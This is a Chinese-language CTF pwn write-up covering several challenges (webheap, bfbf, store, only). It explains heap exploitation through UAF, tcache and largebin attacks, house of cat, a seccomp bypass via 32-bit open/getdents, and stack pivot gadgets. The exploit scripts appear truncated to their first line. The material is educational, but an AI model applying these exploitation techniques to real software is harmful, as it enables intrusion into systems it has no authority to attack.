pwn1 ~ pwn1-1 ~ pwn2-1
这3个题比较简单,就直接放 exp 了:
pwn1
1 | from pwn import * |
pwn1-1
1 | from pwn import * |
pwn2-1
1 | from pwn import * |
webheap
1 | GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27. |
1 | webheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=27dde4c970e713a66d152d11040e93cccb362625, stripped |
- 64位,dynamically,全开
cpp 反序列化 -> python 序列化
程序实现了反序列化读入
- 内存里存的数据不通用,不同系统不同语言的组织可能都是不一样的
- 序列化的二进制数据是通过一定的协议将数据字段进行拼接
- 第一个优势是:不同的语言都可以遵循这种协议进行解析,实现了跨语言
- 第二个优势是:这种数据可以直接持久化到磁盘,从磁盘读取后也可以通过这个协议解析出来
如果要想使用网络框架的 API 来传输结构化的数据,必须得先实现 [结构化的数据] 与 [字节流] 之间的双向转换,这种将结构化数据转换成字节流的过程,称为序列化,反过来转换,就是反序列化
本题目用 cpp 来实现反序列化,难点就在逆向的过程,要在一堆很难看的 cpp 代码中找到“编码格式”(目标地址为“0x45A8”)
- 我对于 cpp 的逆向不是很熟悉,但在比赛的过程中也收获了一些 cpp 的逆向技巧(之后总结一下)
- 以后有机会写一个反序列化的 cpp 程序,然后拖 IDA 分析一下
这种题目的关键就在于:根据反序列化的代码,来推导实现序列化的 python 脚本
漏洞分析
1 | void __fastcall dele(unsigned __int64 index) |
- 有 UAF
入侵思路
当逆向工作完成之后,可以根据程序的反序列化过程,写出序列化的脚本:
1 | def setuint(x): |
利用 UAF 完成泄露以后,就打 tcache attack,尝试申请 free_hook
,然后修改为 system
就可以了
完整 exp 如下:
1 | from pwn import * |
bfbf
1 | GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.8) stable release version 2.31.\n |
1 | pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e3bffe1cec71dcd6694ca6bd031a59f4855b9b86, for GNU/Linux 3.2.0, stripped |
- 64位,dynamically,全开
1 | line CODE JT JF K |
- 限制了
read
(其实也 ban 了execve
,但这里没有显示)
漏洞分析
题目就是想模仿 Brainfuck 语言
1 | char buf[520]; // [rsp+10h] [rbp-210h] BYREF |
- 没有对“i”进行限制
- 利用 “.” 和 “>” 的配合可以实现 leak
- 利用 “,” 和 “>” 的配合可以覆盖 ret
入侵思路
泄露完整之后,直接覆盖返回地址为 ORW 的变种
完整 exp:
1 | from pwn import * |
store
1 | GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31. |
1 | store: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=cd388e748e0640343faaa81f9d2a6fccd07ff729, stripped |
- 64位,dynamically,全开
1 | ➜ store seccomp-tools dump ./store |
漏洞分析
1 | if ( free_num ) |
- UAF
入侵思路
本题目的限制如下:
- 只能控制申请的头两个 chunk
- 限制释放次数为4次
虽然只能控制申请的头两个 chunk,但还是可以完成 largebin attack
于是我们先进行泄露,然后用 largebin attack 劫持 _IO_list_all
,接下来有两种思路:
- house of cat
- house of apple
House Of Cat
house of cat 的常规调用链为:
1 | sysmalloc -> __malloc_assert -> __fxprintf -> locked_vfxprintf -> __vfprintf_internal -> _IO_wfile_seekoff |
- 使 top chunk 不足以申请从而调用
sysmalloc
直接调用 exit
则会触发另一条调用链:
1 | __GI_exit -> __run_exit_handlers -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_wfile_seekoff |
- 直接
exit
就好,不用破坏堆结构
在本题目中需要注意两个问题:
- 程序的沙盒禁止了
open
- “flag”文件的名称未知
当不知道程序名称时,我们需要用 getdents
进行操作:
- 先执行
open('.',0)
打开当前目录 - 然后执行
getdents(3, buf, 0x200)
open
和 getdents
都被 ban 了,但是对应32位的 open
和 getdents
没有 ban
sys_fstat-0x5
=>open-0x5
sys_setpriority-0x8D
=>getdents-0x8D
Shellcode 如下:
1 | shellcode = asm( |
- 这里先使用32位的
mmap2
申请一片空间 - 使用
read
读入“.” - 然后依次执行32位的
open
和getdents
- 最后用
write
打印出来
找到 “flag” 文件以后,对 shellcode 修改一下就可以了
完整 exp:
1 | from pwn import * |
only
1 | GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31.\n |
1 | only: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=26fd95677098954c2c6ee0e7543a029459dc6f97, for GNU/Linux 3.2.0, stripped |
- 64位,dynamically,全开
1 | 0000: 0x20 0x00 0x00 0x00000004 A = arch |
漏洞分析
1 | unsigned __int64 dele() |
- 有个 UAF,但是 2.31 版本的 libc 有 tcache key,不能直接利用
1 | unsigned __int64 fill() |
- 这个函数可以置空 tcache key,但只能执行一次
入侵思路
程序拥有一次任意写的机会,但是没有泄露,对于这种要爆破的程序,建议先关地址随机化:
1 | echo 0 > /proc/sys/kernel/randomize_va_space |
只能先打 stdout 泄露 libc,思路如下:
- 先利用 double free 错位写一个 free tcache
- 伪造它的 presize,size(较大值),FD(覆盖低位)
- 把它申请出来然后释放,就可以得到 unsorted chunk
- 先申请一次 unsorted chunk,并将 main_arena 覆盖为 stdout
- 如果堆风水够好的话,就会发现 stdout 在 tcache[0x70] 中(最好是这种情况,我也尝试过用 unsorted chunk 来覆盖其他的 free tcache,结果总是超出“申请模块”的次数限制)
1 | 0x70 [ 6]: 0x55555555b800 —▸ 0x7ffff7f896a0 (_IO_2_1_stdout_) ◂— 0xfbad2887 |
完成泄露以后,就可以利用现成的 unsorted chunk 来修改与其重叠的 free tcache,把 free_hook 写入到 tcachebin 中
1 | 0x80 [ 5]: 0x55555555b870 —▸ 0x7ffff7f8bb28 (__free_hook) ◂— 0x0 |
最后就是一个堆上 ORW 的过程了,因为没有泄露堆地址,所以常规的 setcontext+61
和 libc.sym['svcudp_reply']+26
都没有作用,只能用特殊的 magic gadget 来进行栈迁移
我们先在 free_hook
的位置写一个 puts
,然后分析寄存器的值:
1 | *RAX 0x7ffff7e245a0 (puts) ◂— endbr64 |
- 只有 RDI 寄存器可以利用
- 因此我们要把 ORW 链写入
free_hook
,然后利用 RDI 寄存器来进行栈迁移 - 首先,在完成栈迁移之前我们不能使用栈,因此需要
call
来连接 gadget:(可以先把带有call
的 gadget 保存到另一个文件中,然后搜索 RDI)
1 | mov rax, qword ptr [rdi + 8]; call qword ptr [rax + 0x30]; |
- 想这种基于 RAX 的
call
我们一般不采用,虽然它很多,但是很难进行栈迁移 - 我们通常使用 RDI,RSI,RDX,RBP 这4个寄存器来做栈迁移,因此优先使用带有它们的
call
1 | mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; |
由于写入长度受限,我们需要手动执行一次 gets
写入 ORW 链
完整 exp:
1 | from pwn import * |